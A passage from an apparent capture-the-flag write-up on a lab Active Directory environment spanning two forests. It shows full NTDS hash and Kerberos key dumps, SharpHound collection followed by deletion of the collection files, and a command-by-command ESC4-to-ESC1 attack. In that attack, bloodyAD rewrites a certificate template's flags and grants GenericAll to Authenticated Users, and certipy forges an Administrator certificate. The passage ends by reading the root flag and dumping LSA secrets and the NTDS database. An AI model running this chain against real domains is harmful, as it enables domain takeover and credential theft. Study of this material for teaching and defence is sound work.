SMB         dc2.pong.htb    445    dc2              P.Sanchez:aes128-cts-hmac-sha1-96:b0f0baa47311cee88ca2b52b4e8ceb49
SMB         dc2.pong.htb    445    dc2              P.Sanchez:des-cbc-md5:83dc2cc7fb5dfb57
SMB         dc2.pong.htb    445    dc2              H.Gordon:aes256-cts-hmac-sha1-96:f540010f801f234d6e1373e5a628184bf658f87f8ac510ad772300d883b300a0
SMB         dc2.pong.htb    445    dc2              H.Gordon:aes128-cts-hmac-sha1-96:24977a9c20ff0ae29914f4f882d9b0db
SMB         dc2.pong.htb    445    dc2              H.Gordon:des-cbc-md5:1a7af2c83d46e9cd
SMB         dc2.pong.htb    445    dc2              P.Reiner:aes256-cts-hmac-sha1-96:558139b55509c8a6fefe5f493f7a316cd6ab23b6eb1770c4a81934f25b6b700d
SMB         dc2.pong.htb    445    dc2              P.Reiner:aes128-cts-hmac-sha1-96:3e6a72a9be1789fd6ea0b8b9b3306c19
SMB         dc2.pong.htb    445    dc2              P.Reiner:des-cbc-md5:d5bad657b55132df
SMB         dc2.pong.htb    445    dc2              C.Adam:aes256-cts-hmac-sha1-96:647d77f0b0b0ebd22689a316339a4242044556182e3fb3c2b7bc5ffc29b1b8c4
SMB         dc2.pong.htb    445    dc2              C.Adam:aes128-cts-hmac-sha1-96:e550f93fa28e7d7196d98534c1a787ea
SMB         dc2.pong.htb    445    dc2              C.Adam:des-cbc-md5:806dc84034e6dcef
SMB         dc2.pong.htb    445    dc2              R.Rupert:aes256-cts-hmac-sha1-96:c0dfecbe5140831b99750a5c68f3ea55e3474d15caa3cc684c9a5c0be8fc4eab
SMB         dc2.pong.htb    445    dc2              R.Rupert:aes128-cts-hmac-sha1-96:e034d0c375a79fa55f36bad49760fabf
SMB         dc2.pong.htb    445    dc2              R.Rupert:des-cbc-md5:9dbca10268fddc07
SMB         dc2.pong.htb    445    dc2              svc_sql:aes256-cts-hmac-sha1-96:04268c99f2fa7c1494eb690f151dbca811659fbb2f91507af68d14ea767299a4
SMB         dc2.pong.htb    445    dc2              svc_sql:aes128-cts-hmac-sha1-96:e2823bb8675e717c06220991e69ac1b6
SMB         dc2.pong.htb    445    dc2              svc_sql:des-cbc-md5:1c3bbf5145863858
SMB         dc2.pong.htb    445    dc2              svc_print:aes256-cts-hmac-sha1-96:f9bd97d0d297630c1b1e85dd2a94a827332e2328d74141a6bafa0aa00aec0544
SMB         dc2.pong.htb    445    dc2              svc_print:aes128-cts-hmac-sha1-96:9b87341cfde9d6f5832be8fc6718126f
SMB         dc2.pong.htb    445    dc2              svc_print:des-cbc-md5:765b3434f7e9312c
SMB         dc2.pong.htb    445    dc2              svc_ldap:aes256-cts-hmac-sha1-96:cfad16d6a69c32b7a78a203485f740d132fb8713d1477d81162eac62ced1bf0b
SMB         dc2.pong.htb    445    dc2              svc_ldap:aes128-cts-hmac-sha1-96:17b3dbc9341f30adf89d67285bc5cb88
SMB         dc2.pong.htb    445    dc2              svc_ldap:des-cbc-md5:5792c71945c80bd9
SMB         dc2.pong.htb    445    dc2              R.Martinelli:aes256-cts-hmac-sha1-96:61e48d17cfe9507a3095dfb84b218a4b803aa0984b123e432bc2a40fc5f7fe98
SMB         dc2.pong.htb    445    dc2              R.Martinelli:aes128-cts-hmac-sha1-96:14f94b4b3deaabde802460945a2079e9
SMB         dc2.pong.htb    445    dc2              R.Martinelli:des-cbc-md5:8c437f1f578f3b3b
SMB         dc2.pong.htb    445    dc2              DC2$:aes256-cts-hmac-sha1-96:486c88bea5be139e8a271864ac2ff0216d7ccb003b5eb61f2976071490515848
SMB         dc2.pong.htb    445    dc2              DC2$:aes128-cts-hmac-sha1-96:debc5c93eb20fca6eb01887a5f2104a8
SMB         dc2.pong.htb    445    dc2              DC2$:des-cbc-md5:16abe5405d2f51ef
SMB         dc2.pong.htb    445    dc2              Pong_gMSA$:aes256-cts-hmac-sha1-96:9a3d021763ac0f2ceb3b629eddf92fee758a3ba6fce28269a2d35a3e252e539a
SMB         dc2.pong.htb    445    dc2              Pong_gMSA$:aes128-cts-hmac-sha1-96:c48ae0b9895ebd9e1fe44ce34d3b696e
SMB         dc2.pong.htb    445    dc2              Pong_gMSA$:des-cbc-md5:2604752a456dfe1c
SMB         dc2.pong.htb    445    dc2              PING$:aes256-cts-hmac-sha1-96:97d3681ad84c5912ed24cda1cfd7ec0b4aaa8a9075fc0f91a11ec002bb52f812
SMB         dc2.pong.htb    445    dc2              PING$:aes128-cts-hmac-sha1-96:77f0620796aa9819d9c7c73319adc9eb
SMB         dc2.pong.htb    445    dc2              PING$:des-cbc-md5:a73d1680029ed54f
SMB         dc2.pong.htb    445    dc2              [+] Dumped 19 NTDS hashes
SMB         dc2.pong.htb    445    dc2              [+] Dumped 54 Kerberos keys 

OR

$ impacket-secretsdump -k -no-pass -target-ip 192.168.2.2 'pong.htb/c.carlssen@dc2.pong.htb' -just-dc | tee dc2_dump.txt
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:0b8ebfb6e9972babf9c01311748261a8:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:2850c6e9dfa66b220c3e013edbb23580:::
C.Carlssen:1110:aad3b435b51404eeaad3b435b51404ee:e15edce7e905644a94f0c34a0b05104e:::
M.Sun:1111:aad3b435b51404eeaad3b435b51404ee:deccbc15ace5cbf2d902f441783f1115:::
Z.Zhen:1112:aad3b435b51404eeaad3b435b51404ee:df023cb090b82c55e3e18e5fbc7f9bc3:::
A.Pearson:1113:aad3b435b51404eeaad3b435b51404ee:9a9250fa13ba7f4c25e1a5576f5b8a03:::
P.Sanchez:1114:aad3b435b51404eeaad3b435b51404ee:5261d93d06680fc00db5454eff3bcfc0:::
H.Gordon:1115:aad3b435b51404eeaad3b435b51404ee:2dc83c2f510d420be2bf3692e9cb7371:::
P.Reiner:1116:aad3b435b51404eeaad3b435b51404ee:6fa016af828999bda0e26861e00afb31:::
C.Adam:1117:aad3b435b51404eeaad3b435b51404ee:3dbc49f649cd0ed23ecd7d5071bcf00b:::
R.Rupert:1118:aad3b435b51404eeaad3b435b51404ee:8960e808108c23470cea0551d0399e8f:::
svc_sql:1119:aad3b435b51404eeaad3b435b51404ee:9e5de13bde362ad5cc68a49d26301c3b:::
svc_print:1120:aad3b435b51404eeaad3b435b51404ee:e21d90eb3c651f4bfdf6606a4c07ffd5:::
svc_ldap:1121:aad3b435b51404eeaad3b435b51404ee:f49491f9d40172069146a9c907e4d510:::
R.Martinelli:1124:aad3b435b51404eeaad3b435b51404ee:d60fc26a0569b953a5cebd1392232630:::
DC2$:1000:aad3b435b51404eeaad3b435b51404ee:e12246a7e57232eec29791ba3273a5b9:::
Pong_gMSA$:1123:aad3b435b51404eeaad3b435b51404ee:4b85a2a049588810c1267e4018b07a07:::
PING$:1103:aad3b435b51404eeaad3b435b51404ee:9c3d799769aa410c3a8ca5121471808a:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:eb76ed05ee09e812ac2b1328f5b846afeafe69f9a1ba13f94f50ab3d8d524559
Administrator:aes128-cts-hmac-sha1-96:3ca116fdd0d280d751be4efee3eeea7b
Administrator:des-cbc-md5:25ab7c5498ef6df1
krbtgt:aes256-cts-hmac-sha1-96:6282e2af4ca8f5ca935f84d03b486f2e6cc2a9b5c87fb0637a4449a44a8cd5f8
krbtgt:aes128-cts-hmac-sha1-96:f1dc39ca727289c857163fb606b5aa41
krbtgt:des-cbc-md5:6702c7679d2949ef
C.Carlssen:aes256-cts-hmac-sha1-96:1fc4a69c646ad7fe6537eedf7d08e55c93143cf4dd32ec1d27fcd9d007cb78ba
C.Carlssen:aes128-cts-hmac-sha1-96:69ba981c227f43ae62ce4ce3f60389f4
C.Carlssen:des-cbc-md5:648c5e25761973c7
M.Sun:aes256-cts-hmac-sha1-96:653c8cb750f25f9d74c0477616e542d5430cf6bee994b50161cf5d52f3bedfd0
M.Sun:aes128-cts-hmac-sha1-96:8f07ec02fc56a32150d23fd0dbc353a3
M.Sun:des-cbc-md5:105ea16e20762aa2
Z.Zhen:aes256-cts-hmac-sha1-96:208f13a06970095f1edd7942478afd6d34f3b3ccddcae627fdfc00c1b22502b8
Z.Zhen:aes128-cts-hmac-sha1-96:b89193e73905053e95fb2ad3b340cfdb
Z.Zhen:des-cbc-md5:1c8a257962dccdb5
A.Pearson:aes256-cts-hmac-sha1-96:537543f5f783db4a10f4df73e87ec7df9c692df7d970e3ee4be08c76fa53d5e7
A.Pearson:aes128-cts-hmac-sha1-96:a3a9b0fa5a8dab39c2971bab470386a7
A.Pearson:des-cbc-md5:3becd6ae4a26bf89
P.Sanchez:aes256-cts-hmac-sha1-96:12fb2b9eb168304707d6ef260269445089928f2861a8f58e54fea85e9ab5309e
P.Sanchez:aes128-cts-hmac-sha1-96:b0f0baa47311cee88ca2b52b4e8ceb49
P.Sanchez:des-cbc-md5:83dc2cc7fb5dfb57
H.Gordon:aes256-cts-hmac-sha1-96:f540010f801f234d6e1373e5a628184bf658f87f8ac510ad772300d883b300a0
H.Gordon:aes128-cts-hmac-sha1-96:24977a9c20ff0ae29914f4f882d9b0db
H.Gordon:des-cbc-md5:1a7af2c83d46e9cd
P.Reiner:aes256-cts-hmac-sha1-96:558139b55509c8a6fefe5f493f7a316cd6ab23b6eb1770c4a81934f25b6b700d
P.Reiner:aes128-cts-hmac-sha1-96:3e6a72a9be1789fd6ea0b8b9b3306c19
P.Reiner:des-cbc-md5:d5bad657b55132df
C.Adam:aes256-cts-hmac-sha1-96:647d77f0b0b0ebd22689a316339a4242044556182e3fb3c2b7bc5ffc29b1b8c4
C.Adam:aes128-cts-hmac-sha1-96:e550f93fa28e7d7196d98534c1a787ea
C.Adam:des-cbc-md5:806dc84034e6dcef
R.Rupert:aes256-cts-hmac-sha1-96:c0dfecbe5140831b99750a5c68f3ea55e3474d15caa3cc684c9a5c0be8fc4eab
R.Rupert:aes128-cts-hmac-sha1-96:e034d0c375a79fa55f36bad49760fabf
R.Rupert:des-cbc-md5:9dbca10268fddc07
svc_sql:aes256-cts-hmac-sha1-96:04268c99f2fa7c1494eb690f151dbca811659fbb2f91507af68d14ea767299a4
svc_sql:aes128-cts-hmac-sha1-96:e2823bb8675e717c06220991e69ac1b6
svc_sql:des-cbc-md5:1c3bbf5145863858
svc_print:aes256-cts-hmac-sha1-96:f9bd97d0d297630c1b1e85dd2a94a827332e2328d74141a6bafa0aa00aec0544
svc_print:aes128-cts-hmac-sha1-96:9b87341cfde9d6f5832be8fc6718126f
svc_print:des-cbc-md5:765b3434f7e9312c
svc_ldap:aes256-cts-hmac-sha1-96:cfad16d6a69c32b7a78a203485f740d132fb8713d1477d81162eac62ced1bf0b
svc_ldap:aes128-cts-hmac-sha1-96:17b3dbc9341f30adf89d67285bc5cb88
svc_ldap:des-cbc-md5:5792c71945c80bd9
R.Martinelli:aes256-cts-hmac-sha1-96:61e48d17cfe9507a3095dfb84b218a4b803aa0984b123e432bc2a40fc5f7fe98
R.Martinelli:aes128-cts-hmac-sha1-96:14f94b4b3deaabde802460945a2079e9
R.Martinelli:des-cbc-md5:8c437f1f578f3b3b
DC2$:aes256-cts-hmac-sha1-96:486c88bea5be139e8a271864ac2ff0216d7ccb003b5eb61f2976071490515848
DC2$:aes128-cts-hmac-sha1-96:debc5c93eb20fca6eb01887a5f2104a8
DC2$:des-cbc-md5:16abe5405d2f51ef
Pong_gMSA$:aes256-cts-hmac-sha1-96:9a3d021763ac0f2ceb3b629eddf92fee758a3ba6fce28269a2d35a3e252e539a
Pong_gMSA$:aes128-cts-hmac-sha1-96:c48ae0b9895ebd9e1fe44ce34d3b696e
Pong_gMSA$:des-cbc-md5:2604752a456dfe1c
PING$:aes256-cts-hmac-sha1-96:97d3681ad84c5912ed24cda1cfd7ec0b4aaa8a9075fc0f91a11ec002bb52f812
PING$:aes128-cts-hmac-sha1-96:77f0620796aa9819d9c7c73319adc9eb
PING$:des-cbc-md5:a73d1680029ed54f
[*] Cleaning up... 

Back to PING\DC01

BloodHound on PING act II

Back to BloodHound to analyze more but I found that some missed data as I don’t have nuch ACLs and no info on PKI…

Then, open a new tab in my terminal and upload SharpHound to collect and injest AD data one more time:

$ export KRB5CCNAME=c.roberts_esc13.ccache
$ python3 winrmexec/evil_winrmexec.py 'ping.htb/c.roberts@dc1.ping.htb' -no-pass -k -dc-ip 10.129.xx.xx -target-ip 10.129.xx.xx
PS C:\Users\C.Roberts\Documents> cd c:\programdata\1
PS C:\programdata\1> !upload SharpHound.exe
PS C:\programdata\1> .\SharpHound.exe -c all,gpolocalgroup -d ping.htb
PS C:\programdata\1> ls


    Directory: C:\programdata\1


Mode                 LastWriteTime         Length Name                                                                  
----                 -------------         ------ ----                                                                  
-a----         4/29/2026  12:05 PM          43556 20260429120459_BloodHound.zip                                         
-a----         4/29/2026   9:38 AM        6271488 lintun.exe                                                            
-a----         4/29/2026  11:49 AM        1318912 SharpHound.exe                                                        
-a----         4/29/2026  12:05 PM           1538 ZjM1MDY3Y2YtOThiOC00ZDIxLTlmNmMtMDQ1MDY2NDhmYTg3.bin                  


PS C:\programdata\1> !download 20260429120459_BloodHound.zip
PS C:\programdata\1> rm 20260429120459_BloodHound.zip
PS C:\programdata\1> rm ZjM1MDY3Y2YtOThiOC00ZDIxLTlmNmMtMDQ1MDY2NDhmYTg3.bin
PS C:\programdata\1> rm SharpHound.exe

Start again the analysis, and now we can find some juicy stuffs:

  • The foreigner user R.MARTINELLI@PONG.HTB is a member of the group CA MANAGERS@PING.HTB.
  • CA MANAGERS@PING.HTB owns the certificate template SMARTCARDAUTHENTICATION@PING.HTB, can control the template then abuse the certificate:
    • The members of the group CA MANAGERS@PING.HTB have permissions to modify the DACL (Discretionary Access Control List) on the certificate template SMARTCARDAUTHENTICATION@PING.HTB.
    • The members of the group CA MANAGERS@PING.HTB have the ability to modify the owner of the certificate template SMARTCARDAUTHENTICATION@PING.HTB.
    • The members of the group CA MANAGERS@PING.HTB have generic write access to the certificate template SMARTCARDAUTHENTICATION@PING.HTB.

Let’s do it.

SmartcardAuthentication template tampering for ESC4 -> ESC1 (root)

Using Certipy to get all certificate templates information:

$ export KRB5CCNAME=c.roberts_esc13.ccache 
$ certipy-ad find -k -no-pass -dc-host dc1.ping.htb -dc-ip 10.129.xx.xx -target dc1.ping.htb -stdout                                  
Certipy v5.0.4 - by Oliver Lyak (ly4k)

[*] Finding certificate templates
[*] Found 35 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 13 enabled certificate templates
[*] Finding issuance policies
[*] Found 20 issuance policies
[*] Found 1 OID linked to a template
[*] Retrieving CA configuration for 'ping-DC1-CA' via RRP
[!] Failed to connect to remote registry. Service should be starting now. Trying again...
[*] Successfully retrieved CA configuration for 'ping-DC1-CA'
[*] Checking web enrollment for CA 'ping-DC1-CA' @ 'dc1.ping.htb'
[!] Error checking web enrollment: timed out
[!] Use -debug to print a stacktrace
[!] Error checking web enrollment: timed out
[!] Use -debug to print a stacktrace
[*] Enumeration output:
Certificate Authorities
  0
    CA Name                             : ping-DC1-CA
    DNS Name                            : dc1.ping.htb
    Certificate Subject                 : CN=ping-DC1-CA, DC=ping, DC=htb
    Certificate Serial Number           : 6F8E726EEFA64B894CE82D498BC27632
    Certificate Validity Start          : 2026-04-20 18:54:41+00:00
    Certificate Validity End            : 2126-04-20 19:04:41+00:00
    Web Enrollment
      HTTP
        Enabled                         : False
      HTTPS
        Enabled                         : False
    User Specified SAN                  : Disabled
    Request Disposition                 : Issue
    Enforce Encryption for Requests     : Enabled
    Active Policy                       : CertificateAuthority_MicrosoftDefault.Policy
    Permissions
      Owner                             : PING.HTB\Administrators
      Access Rights
        ManageCa                        : PING.HTB\Administrators
                                          PING.HTB\Domain Admins
                                          PING.HTB\Enterprise Admins
        ManageCertificates              : PING.HTB\Administrators
                                          PING.HTB\Domain Admins
                                          PING.HTB\Enterprise Admins
        Enroll                          : PING.HTB\Authenticated Users
Certificate Templates
...snip...
  34
    Template Name                       : SmartcardAuthentication
    Display Name                        : Smartcard Authentication
    Certificate Authorities             : ping-DC1-CA
    Enabled                             : True
    Client Authentication               : True
    Enrollment Agent                    : False
    Any Purpose                         : False
    Enrollee Supplies Subject           : False
    Certificate Name Flag               : SubjectAltRequireUpn
                                          SubjectRequireEmail
                                          SubjectRequireDirectoryPath
    Enrollment Flag                     : IncludeSymmetricAlgorithms
                                          PublishToDs
                                          AutoEnrollment
    Private Key Flag                    : ExportableKey
    Extended Key Usage                  : Client Authentication
                                          Secure Email
                                          Encrypting File System
    Requires Manager Approval           : False
    Requires Key Archival               : False
    Authorized Signatures Required      : 0
    Schema Version                      : 2
    Validity Period                     : 100 years
    Renewal Period                      : 6 weeks
    Minimum RSA Key Length              : 2048
    Template Created                    : 2026-01-17T15:39:18+00:00
    Template Last Modified              : 2026-01-17T15:39:37+00:00
    Permissions
      Enrollment Permissions
        Enrollment Rights               : PING.HTB\Domain Admins
                                          PING.HTB\Enterprise Admins
      Object Control Permissions
        Owner                           : PING.HTB\Administrator
        Full Control Principals         : PING.HTB\Domain Admins
                                          PING.HTB\Enterprise Admins
        Write Owner Principals          : PING.HTB\Domain Admins
                                          PING.HTB\Enterprise Admins
        Write Dacl Principals           : PING.HTB\Domain Admins
                                          PING.HTB\Enterprise Admins
        Write Property Enroll           : PING.HTB\Domain Admins
                                          PING.HTB\Enterprise Admins

As of now, we cannot exploit the template SmartcardAuthentication.

As we have:

  • Client Authentication: true means the template could authenticate via Kerberos.
  • Enrollee Supplies Subject: false means we couldn’t request a certificate for another identity (impersonation is blocked).
  • Enrollment Rights includes only Domain Admins and Enterprise Admins, then domain users could not enroll.
  • Requires Manager Approval: false + Authorized Signatures Required: 0 are both convenient for abuse once we control the rest.

But we are member of CA managers, we can then modify the template to make it vulnerable to ESC1.

Our goal is to remove 2 restrictions:

  • Set msPKI-Certificate-Name-Flag: 1 to enable subject control.
  • Add a broad Enrollment Rights then any domain users like c.roberts could request the template.

Request a TGT for pong.htb/r.martinelli:

$ impacket-getTGT 'pong.htb/r.martinelli' -aesKey '61e48d17cfe9507a3095dfb84b218a4b803aa0984b123e432bc2a40fc5f7fe98' -dc-ip 192.168.2.2
$ export KRB5CCNAME=r.martinelli.ccache 
$ klist
Ticket cache: FILE:r.martinelli.ccache
Default principal: r.martinelli@PONG.HTB

Valid starting       Expires              Service principal
04/27/2026 04:34:00  04/27/2026 14:34:00  krbtgt/PONG.HTB@PONG.HTB
	renew until 05/01/2026 04:34:00

Unlike our previous method using the request of consecutive STs, we use kvno to request the cross-realm service ticket for a specific SPN (ldap) from the KDC for authentication:

$ kvno ldap/dc1.ping.htb
ldap/dc1.ping.htb@PING.HTB: kvno = 7
                                                                                                                                                                                        
$ klist                 
Ticket cache: FILE:r.martinelli.ccache
Default principal: r.martinelli@PONG.HTB

Valid starting       Expires              Service principal
04/27/2026 04:34:00  04/27/2026 14:34:00  krbtgt/PONG.HTB@PONG.HTB
	renew until 05/01/2026 04:34:00
04/27/2026 04:43:40  04/27/2026 14:34:00  krbtgt/PING.HTB@PONG.HTB
	renew until 05/01/2026 04:34:00
04/27/2026 04:43:40  04/27/2026 14:34:00  ldap/dc1.ping.htb@PING.HTB
	renew until 05/01/2026 04:34:00

Check LDAP authentication:

$ nxc ldap dc1.ping.htb -k --use-kcache --kdcHost dc1.ping.htb      
LDAP        dc1.ping.htb    389    DC1              [*] None (name:DC1) (domain:PONG.HTB) (signing:None) (channel binding:Never) (NTLM:False)
LDAP        dc1.ping.htb    389    DC1              [+] PONG.HTB\r.martinelli from ccache 

Confirmed.

Check the members of CA Managers:

$ bloodyAD -d ping.htb -k --host dc1.ping.htb get object 'CA Managers' --attr objectSid,member

distinguishedName: CN=CA Managers,CN=Users,DC=ping,DC=htb
member: CN=S-1-5-21-2410575906-3092493790-2123333151-1124,CN=ForeignSecurityPrincipals,DC=ping,DC=htb; CN=P.Paul,CN=Users,DC=ping,DC=htb; CN=M.Wallace,CN=Users,DC=ping,DC=htb
objectSid: S-1-5-21-750635624-2058721901-1932338391-2627

Confirmed that pong\r.martinelli is present as its SID is S-1-5-21-2410575906-3092493790-2123333151-1124.

Set the Certificate Name Flag to ENROLLEE_SUPPLIES_SUBJECT:

  • This allows spoofed identity fields in the certificate request.
$ bloodyAD -d ping.htb --host dc1.ping.htb \
    -u r.martinelli -k ccache=r.martinelli.ccache \
    set object 'CN=SmartcardAuthentication,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=ping,DC=htb' \
    msPKI-Certificate-Name-Flag -v 1
[+] CN=SmartcardAuthentication,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=ping,DC=htb's msPKI-Certificate-Name-Flag has been updated

Enable the Enrollee Supplies Subject flag:

  • This allows the requester to specify a custom Subject Alternative Name (SAN), such as the username of a privileged account like DA.
$ bloodyAD -d ping.htb --host dc1.ping.htb \
    -u r.martinelli -k ccache=r.martinelli.ccache \
    set object 'CN=SmartcardAuthentication,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=ping,DC=htb' \
    msPKI-Enrollment-Flag -v 0
[+] CN=SmartcardAuthentication,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=ping,DC=htb's msPKI-Enrollment-Flag has been updated

Grant Authenticated Users to have full control over the template to register:

$ bloodyAD -d ping.htb --host dc1.ping.htb \
    -u r.martinelli -k ccache=r.martinelli.ccache \
    add genericAll 'CN=SmartcardAuthentication,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=ping,DC=htb' \
    'S-1-5-11'
[+] S-1-5-11 has now GenericAll on CN=SmartcardAuthentication,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=ping,DC=htb

We have now totally abused template control privileges via ESC4, to make SmartcardAuthentication template vulnerable to ESC1 attack.

Using Certipy to double check our modifications:

$ export KRB5CCNAME=c.roberts_esc13.ccache 
$ klist
Ticket cache: FILE:c.roberts_esc13.ccache
Default principal: c.roberts@PING.HTB

Valid starting       Expires              Service principal
04/27/2026 01:34:16  04/27/2026 11:34:16  krbtgt/PING.HTB@PING.HTB
	renew until 05/01/2026 01:34:08
$ export KRB5CCNAME=c.roberts_esc13.ccache 
$ certipy-ad find -k -no-pass -dc-host dc1.ping.htb -dc-ip 10.129.xx.xx -target dc1.ping.htb -stdout                                  
Certipy v5.0.4 - by Oliver Lyak (ly4k)

[*] Finding certificate templates
[*] Found 35 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 13 enabled certificate templates
[*] Finding issuance policies
[*] Found 20 issuance policies
[*] Found 1 OID linked to a template
[*] Retrieving CA configuration for 'ping-DC1-CA' via RRP
[!] Failed to connect to remote registry. Service should be starting now. Trying again...
[*] Successfully retrieved CA configuration for 'ping-DC1-CA'
[*] Checking web enrollment for CA 'ping-DC1-CA' @ 'dc1.ping.htb'
[!] Error checking web enrollment: timed out
[!] Use -debug to print a stacktrace
[!] Error checking web enrollment: timed out
[!] Use -debug to print a stacktrace
[*] Enumeration output:
Certificate Authorities
...snip...
  34
    Template Name                       : SmartcardAuthentication
    Display Name                        : Smartcard Authentication
    Certificate Authorities             : ping-DC1-CA
    Enabled                             : True
    Client Authentication               : True
    Enrollment Agent                    : False
    Any Purpose                         : False
    Enrollee Supplies Subject           : True
    Certificate Name Flag               : EnrolleeSuppliesSubject
    Private Key Flag                    : ExportableKey
    Extended Key Usage                  : Client Authentication
                                          Secure Email
                                          Encrypting File System
    Requires Manager Approval           : False
    Requires Key Archival               : False
    Authorized Signatures Required      : 0
    Schema Version                      : 2
    Validity Period                     : 100 years
    Renewal Period                      : 6 weeks
    Minimum RSA Key Length              : 2048
    Template Created                    : 2026-01-17T15:39:18+00:00
    Template Last Modified              : 2026-04-29T21:10:38+00:00
    Permissions
      Enrollment Permissions
        Enrollment Rights               : PING.HTB\Domain Admins
                                          PING.HTB\Enterprise Admins
      Object Control Permissions
        Owner                           : PING.HTB\Administrator
        Full Control Principals         : PING.HTB\Domain Admins
                                          PING.HTB\Enterprise Admins
                                          PING.HTB\Authenticated Users
        Write Owner Principals          : PING.HTB\Domain Admins
                                          PING.HTB\Enterprise Admins
                                          PING.HTB\Authenticated Users
        Write Dacl Principals           : PING.HTB\Domain Admins
                                          PING.HTB\Enterprise Admins
                                          PING.HTB\Authenticated Users
        Write Property Enroll           : PING.HTB\Domain Admins
                                          PING.HTB\Enterprise Admins
    [+] User Enrollable Principals      : PING.HTB\Authenticated Users
    [+] User ACL Principals             : PING.HTB\Authenticated Users
    [!] Vulnerabilities
      ESC1                              : Enrollee supplies subject and template allows client authentication.
      ESC4                              : User has dangerous permissions.

ESC4, ESC1 confirmed.

Request a ping.htb\administrator PFX certificate:

$ certipy-ad req -k -no-pass \
    -target dc1.ping.htb \
    -dc-host dc1.ping.htb \
    -dc-ip 10.129.xx.xx \
    -ca ping-DC1-CA \
    -template SmartcardAuthentication \
    -upn 'Administrator@ping.htb' \
    -sid 'S-1-5-21-750635624-2058721901-1932338391-500'
Certipy v5.0.4 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[*] Request ID is 18
[*] Successfully requested certificate
[*] Got certificate with UPN 'Administrator@ping.htb'
[*] Certificate object SID is 'S-1-5-21-750635624-2058721901-1932338391-500'
[*] Saving certificate and private key to 'administrator.pfx'
[*] Wrote certificate and private key to 'administrator.pfx'

Authenticate then to the DC1 using this certificate:

$ certipy-ad auth \
    -pfx administrator.pfx \
    -username Administrator \
    -domain ping.htb \
    -dc-ip 10.129.xx.xx
Certipy v5.0.4 - by Oliver Lyak (ly4k)

[*] Certificate identities:
[*]     SAN UPN: 'Administrator@ping.htb'
[*]     SAN URL SID: 'S-1-5-21-750635624-2058721901-1932338391-500'
[*]     Security Extension SID: 'S-1-5-21-750635624-2058721901-1932338391-500'
[*] Using principal: 'administrator@ping.htb'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'administrator.ccache'
[*] Wrote credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@ping.htb': aad3b435b51404eeaad3b435b51404ee:63905deb12b527aadfdbc26d3f423eff

Then grab the root flag:

$ export KRB5CCNAME=administrator.ccache
$ nxc smb dc1.ping.htb -k --use-kcache --kdcHost dc1.ping.htb -x 'type c:\users\administrator\desktop\root.txt'
SMB         dc1.ping.htb    445    dc1              [*]  x64 (name:dc1) (domain:ping.htb) (signing:True) (SMBv1:None) (NTLM:False)
SMB         dc1.ping.htb    445    dc1              [+] PING.HTB\administrator from ccache (Pwn3d!)
SMB         dc1.ping.htb    445    dc1              [+] Executed command via wmiexec
SMB         dc1.ping.htb    445    dc1              <REDACTED>

Then DCSync:

$ nxc smb dc1.ping.htb -k --use-kcache --kdcHost dc1.ping.htb --lsa                                            
SMB         dc1.ping.htb    445    dc1              [*]  x64 (name:dc1) (domain:ping.htb) (signing:True) (SMBv1:None) (NTLM:False)
SMB         dc1.ping.htb    445    dc1              [+] PING.HTB\administrator from ccache (Pwn3d!)
SMB         dc1.ping.htb    445    dc1              [*] Dumping LSA secrets
SMB         dc1.ping.htb    445    dc1              PONG.HTB/C.Carlssen:$DCC2$10240#C.Carlssen#01c3f0d987320e6c12752568ce4fbe0a: (2026-02-05 13:40:25)
SMB         dc1.ping.htb    445    dc1              PING\DC1$:aes256-cts-hmac-sha1-96:7e1352899cf2401de58146cf17f0a38c1896c0029e89bacd9bf196b9b2987fb0
SMB         dc1.ping.htb    445    dc1              PING\DC1$:aes128-cts-hmac-sha1-96:4c8a768c8b815e1e705307f83daf0fc7
SMB         dc1.ping.htb    445    dc1              PING\DC1$:des-cbc-md5:13fb6e8f89ae7ac4
SMB         dc1.ping.htb    445    dc1              PING\DC1$:plain_password_hex:d1da23dcdde17e6968e2ff3944f6137d1bae73fde00b23add96c7703739127a2989a6b37231745492ca4681b8a6f49a95259744cd71cfcff1f3176db0f29f1f0ed03d615dadd99db583fcd1c9eef8e8d9540c517d928ab7049d650be37fe583f1a325755e03699af073b47f3fe00880887d91cb8147a6d52f984758f4a43ae4a0d3964ba0b115ce760af70f9a7ec075393b992300e23d5fb4952df277fce76f0ef65483d6905815426388f40a5b2883727a6f8d57e875ab0f71d0319cf9f57baaa9898db36fb2c0fc8ef27dbacdf49a9746b3bd15621eaae34578e7dc8745f6493eecc2aa34b8cb446f167a1e14af9c5
SMB         dc1.ping.htb    445    dc1              PING\DC1$:aad3b435b51404eeaad3b435b51404ee:238f779053e6dc0de47b2aa15089023e:::
SMB         dc1.ping.htb    445    dc1              dpapi_machinekey:0xb35a38f7448cb9799526203c15698dfd2b8363f8
dpapi_userkey:0xb80b93a08c77c104bccc68aff4764bb3ed6d3317
SMB         dc1.ping.htb    445    dc1              [+] Dumped 7 LSA secrets 
$ nxc smb dc1.ping.htb -k --use-kcache --kdcHost dc1.ping.htb --ntds --kerberos-keys
SMB         dc1.ping.htb    445    dc1              [*]  x64 (name:dc1) (domain:ping.htb) (signing:True) (SMBv1:None) (NTLM:False)
SMB         dc1.ping.htb    445    dc1              [+] PING.HTB\administrator from ccache (Pwn3d!)
SMB         dc1.ping.htb    445    dc1              [+] Dumping the NTDS, this could take a while so go grab a redbull...
SMB         dc1.ping.htb    445    dc1              Administrator:500:aad3b435b51404eeaad3b435b51404ee:63905deb12b527aadfdbc26d3f423eff:::
